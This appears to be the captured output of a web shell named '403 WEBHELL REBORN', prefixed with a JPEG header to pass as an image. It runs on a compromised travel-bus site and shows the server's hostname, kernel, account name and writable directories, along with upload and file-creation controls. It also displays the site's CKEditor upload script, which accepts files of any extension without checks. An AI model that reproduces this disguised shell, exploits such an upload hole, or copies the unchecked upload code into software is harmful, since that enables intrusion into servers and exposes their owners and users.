ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/js/ckeditor_upload.html
<?php

/*
 *  파일 업로드
 *  
 *  ckeditor v4.9 이미지 업로드용
 *  이미지명 강제변경
 */

/*$arr = array('uploaded'=>1,'fileName'=>'aaa.jpg','url'=>'url');

echo json_encode($arr);

exit;*/
//include $_SERVER['DOCUMENT_ROOT'].'/js/ckfinder/core/connector/php/php5/CommandHandler/FileUpload.php';

$savedir = $_SERVER['DOCUMENT_ROOT']."/data/ckeditor/images/";
$upload_url = "/data/ckeditor/images/";

if($_FILES['upload']['size']>0){
	$FileNM = $_FILES['upload']['name'];
	$sFileNM = getUniqueFileName($FileNM);
	
	// 동일 파일이 있는지 체크를 위해 파일명과 확장자를 가져옴 (20090917 )
	$f = explode(".", $sFileNM);
	$ext = strtolower(array_pop($f));
	$f_name = implode(".", $f);
	
	// 동일 파일이 있는지 체크
	$r = 1;
	while (file_exists($savedir."/".$sFileNM)) {
		$sFileNM = $f_name . "(" . $r++ . ")." . $ext;
	}	
	
	// 파일 업로드 처리
	move_uploaded_file($_FILES['upload']['tmp_name'], $savedir."/".$sFileNM);
	
	//echo 	"<script>window.parent.CKEDITOR.tools.callFunction({1}, '".$upload_url.$sFileNM."');</script>";
	//echo "<script type='text/javascript'>window.parent.CKEDITOR.tools.callFunction({$CKEditorFuncNum}, '".$upload_url.$sFileNM."');</script>";
	
	$arr = array('uploaded'=>1,'fileName'=>$sFileNM,'url'=>$upload_url.$sFileNM);
	
	echo json_encode($arr);
}


function getUniqueFileName($filename, $prefix="") {
	if (!$filename) return "";

	// 임의의 문자열 생성
	$time = date("Ymd"); // 년월일
	$unique = strtoupper(substr(md5(uniqid(time())), 0, 16)); // 유니크 16자리

	// 파일명에서 확장자 가져옴
	$file = explode(".", $filename);
	$ext = @array_pop($file); // 확장자
	$ext = strtolower($ext); // 확장자를 소문자로 변환

	$new_filename = $prefix . $time . "_" . $unique . "." . $ext;

	return $new_filename;
}

?>

Anon7 - 2021